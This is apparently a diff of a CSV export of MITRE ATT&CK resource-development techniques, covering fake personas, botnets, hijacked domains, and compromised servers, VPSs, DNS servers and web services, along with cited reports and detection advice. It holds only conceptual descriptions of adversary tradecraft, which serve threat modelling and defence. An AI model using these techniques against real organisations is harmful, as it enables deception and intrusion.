Service](https://attack.mitre.org/techniques/T1566/003)).",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1585', 'url': 'https://attack.mitre.org/techniques/T1585'}, {'source_name': 'NEWSCASTER2014', 'description': 'Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.', 'url': 'https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation'}, {'source_name': 'BlackHatRobinSage', 'description': 'Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved March 6, 2017.', 'url': 'http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf'}, {'url': 'https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf', 'description': 'Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.', 'source_name': 'Mandiant APT1'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.1,False,https://attack.mitre.org/techniques/T1585,mitre-attack,T1585,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Establish Accounts,"Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1585', 'external_id': 'T1585'}, {'source_name': 'NEWSCASTER2014', 'description': 'Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.', 'url': 'https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation'}, {'source_name': 'BlackHatRobinSage', 'description': 'Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved March 6, 2017.', 'url': 'http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf'}, {'source_name': 'Mandiant APT1', 'description': 'Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf'}]",1.2,attack-pattern,attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T01:05:42.216Z,2021-10-16T17:35:59.386Z,Establish Accounts,"Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) For operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) -Establishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1)",attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8,attack-pattern,['resource-development'],2021-04-15T03:10:35.877Z,2020-10-01T01:05:42.216Z,"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization. +Establishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1)",['resource-development'],https://attack.mitre.org/techniques/T1585,mitre-attack,T1585,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Persona: Social Media', 'Network Traffic: Network Traffic Content']",,"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",False,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1584/006', 'external_id': 'T1584.006'}, {'source_name': 'Recorded Future Turla Infra 2020', 'description': 'Insikt Group. (2020, March 12). Swallowing the Snake’s Tail: Tracking Turla Infrastructure. Retrieved October 20, 2020.', 'url': 'https://www.recordedfuture.com/turla-apt-infrastructure/'}, {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'}]",1.1,attack-pattern,attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T01:01:00.176Z,2021-10-17T16:01:48.047Z,Web Services,"Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them.",['resource-development'],https://attack.mitre.org/techniques/T1584/006,mitre-attack,T1584.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Internet Scan: Response Content'],,"Once adversaries leverage the abused web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1584/005', 'external_id': 'T1584.005'}, {'source_name': 'Norton Botnet', 'description': 'Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020.', 'url': 'https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html'}, {'source_name': 'Imperva DDoS for Hire', 'description': 'Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020.', 'url': 'https://www.imperva.com/learn/ddos/booters-stressers-ddosers/'}, {'source_name': 'Dell Dridex Oct 2015', 'description': 'Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019.', 'url': 'https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation'}]",1.0,attack-pattern,attack-pattern--810d8072-afb6-4a56-9ee7-86379ac4a6f3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T00:58:35.269Z,2021-04-15T03:01:00.271Z,Botnet,"Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service(Citation: Imperva DDoS for Hire), adversaries may build their own botnet by compromising numerous third-party systems. Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).",['resource-development'],https://attack.mitre.org/techniques/T1584/005,mitre-attack,T1584.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1584/004', 'external_id': 'T1584.004'}, {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'}, {'source_name': 'Mandiant SCANdalous Jul 2020', 'description': 'Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.', 'url': 'https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation'}, {'source_name': 'Koczwara Beacon Hunting Sep 2021', 'description': 'Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.', 'url': 'https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2'}]",1.1,attack-pattern,attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T00:56:25.135Z,2021-10-17T16:00:16.273Z,Server,"Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations. + +Adversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).",['resource-development'],https://attack.mitre.org/techniques/T1584/004,mitre-attack,T1584.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Internet Scan: Response Metadata', 'Internet Scan: Response Content']",,"Once adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1584/003', 'external_id': 'T1584.003'}, {'source_name': 'NSA NCSC Turla OilRig', 'description': 'NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.', 'url': 'https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf'}, {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'}, {'source_name': 'Mandiant SCANdalous Jul 2020', 'description': 'Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.', 'url': 'https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation'}, {'source_name': 'Koczwara Beacon Hunting Sep 2021', 'description': 'Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.', 'url': 'https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2'}]",1.1,attack-pattern,attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T00:55:17.771Z,2021-10-17T15:59:02.770Z,Virtual Private Server,"Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig) + +Compromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.",['resource-development'],https://attack.mitre.org/techniques/T1584/003,mitre-attack,T1584.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Internet Scan: Response Metadata', 'Internet Scan: Response Content']",,"Once adversaries have provisioned software on a compromised VPS (ex: for use as a command and control server), internet scans may reveal VPSs that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1584/002', 'external_id': 'T1584.002'}, {'source_name': 'Talos DNSpionage Nov 2018', 'description': 'Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020.', 'url': 'https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html'}, {'source_name': 'FireEye DNS Hijack 2019', 'description': 'Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html'}, {'source_name': 'CiscoAngler', 'description': 'Nick Biasini. (2015, March 3). Threat Spotlight: Angler Lurking in the Domain Shadows. Retrieved March 6, 2017.', 'url': 'https://blogs.cisco.com/security/talos/angler-domain-shadowing'}, {'source_name': 'Proofpoint Domain Shadowing', 'description': 'Proofpoint Staff. (2015, December 15). The shadow knows: Malvertising campaigns use domain shadowing to pull in Angler EK. Retrieved October 16, 2020.', 'url': 'https://www.proofpoint.com/us/threat-insight/post/The-Shadow-Knows'}]",1.1,attack-pattern,attack-pattern--c2f59d25-87fe-44aa-8f83-e8e59d077bf5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T00:54:30.869Z,2021-10-17T15:56:05.112Z,DNS Server,"Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations. + +By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)",['resource-development'],https://attack.mitre.org/techniques/T1584/002,mitre-attack,T1584.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Domain Name: Active DNS', 'Domain Name: Passive DNS']",,"Consider monitoring for anomalous resolution changes for domain addresses. Efforts may need to be tailored to specific domains of interest as benign resolution changes are a common occurrence on the internet. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1584/001', 'external_id': 'T1584.001'}, {'source_name': 'ICANNDomainNameHijacking', 'description': 'ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017.', 'url': 'https://www.icann.org/groups/ssac/documents/sac-007-en'}, {'source_name': 'Microsoft Sub Takeover 2020', 'description': 'Microsoft. (2020, September 29). Prevent dangling DNS entries and avoid subdomain takeover. Retrieved October 12, 2020.', 'url': 'https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover'}]",1.1,attack-pattern,attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T00:51:28.513Z,2021-10-17T15:51:26.715Z,Domains,"Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) An adversary may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps. -Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1584.006', 'url': 'https://attack.mitre.org/techniques/T1584/006'}, {'source_name': 'Recorded Future Turla Infra 2020', 'url': 'https://www.recordedfuture.com/turla-apt-infrastructure/', 'description': 'Insikt Group. (2020, March 12). Swallowing the Snake’s Tail: Tracking Turla Infrastructure. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,True,https://attack.mitre.org/techniques/T1584/006,mitre-attack,T1584.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Web Services,"Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them.",attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2,attack-pattern,['resource-development'],2021-04-15T03:04:40.184Z,2020-10-01T01:01:00.176Z,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1584.005', 'url': 'https://attack.mitre.org/techniques/T1584/005'}, {'source_name': 'Norton Botnet', 'url': 'https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html', 'description': 'Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020.'}, {'source_name': 'Imperva DDoS for Hire', 'url': 'https://www.imperva.com/learn/ddos/booters-stressers-ddosers/', 'description': 'Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020.'}, {'source_name': 'Dell Dridex Oct 2015', 'url': 'https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation', 'description': 'Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,True,https://attack.mitre.org/techniques/T1584/005,mitre-attack,T1584.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Botnet,"Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service(Citation: Imperva DDoS for Hire), adversaries may build their own botnet by compromising numerous third-party systems. Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).",attack-pattern--810d8072-afb6-4a56-9ee7-86379ac4a6f3,attack-pattern,['resource-development'],2021-04-15T03:01:00.271Z,2020-10-01T00:58:35.269Z,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1584.004', 'url': 'https://attack.mitre.org/techniques/T1584/004'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,True,https://attack.mitre.org/techniques/T1584/004,mitre-attack,T1584.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Server,"Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations. +Subdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)",['resource-development'],https://attack.mitre.org/techniques/T1584/001,mitre-attack,T1584.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Domain Name: Active DNS', 'Domain Name: Passive DNS', 'Domain Name: Domain Registration']",,"Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. -Adversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).",attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5,attack-pattern,['resource-development'],2021-04-15T03:03:22.184Z,2020-10-01T00:56:25.135Z,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1584.003', 'url': 'https://attack.mitre.org/techniques/T1584/003'}, {'source_name': 'NSA NCSC Turla OilRig', 'url': 'https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf', 'description': 'NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,True,https://attack.mitre.org/techniques/T1584/003,mitre-attack,T1584.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Virtual Private Server,"Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig) +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1583/006', 'external_id': 'T1583.006'}, {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'}]",1.1,attack-pattern,attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T00:50:29.936Z,2021-10-17T15:45:01.956Z,Web Services,"Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.",['resource-development'],https://attack.mitre.org/techniques/T1583/006,mitre-attack,T1583.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Internet Scan: Response Content'],,"Once adversaries leverage the web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) -Compromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.",attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0,attack-pattern,['resource-development'],2021-04-15T03:03:59.919Z,2020-10-01T00:55:17.771Z,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1584.002', 'url': 'https://attack.mitre.org/techniques/T1584/002'}, {'source_name': 'Talos DNSpionage Nov 2018', 'url': 'https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html', 'description': 'Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020.'}, {'source_name': 'FireEye DNS Hijack 2019', 'url': 'https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html', 'description': 'Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020.'}, {'source_name': 'CiscoAngler', 'description': 'Nick Biasini. (2015, March 3). Threat Spotlight: Angler Lurking in the Domain Shadows. Retrieved March 6, 2017.', 'url': 'https://blogs.cisco.com/security/talos/angler-domain-shadowing'}, {'source_name': 'Proofpoint Domain Shadowing', 'url': 'https://www.proofpoint.com/us/threat-insight/post/The-Shadow-Knows', 'description': 'Proofpoint Staff. (2015, December 15). The shadow knows: Malvertising campaigns use domain shadowing to pull in Angler EK. Retrieved October 16, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,True,https://attack.mitre.org/techniques/T1584/002,mitre-attack,T1584.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,DNS Server,"Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations. +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 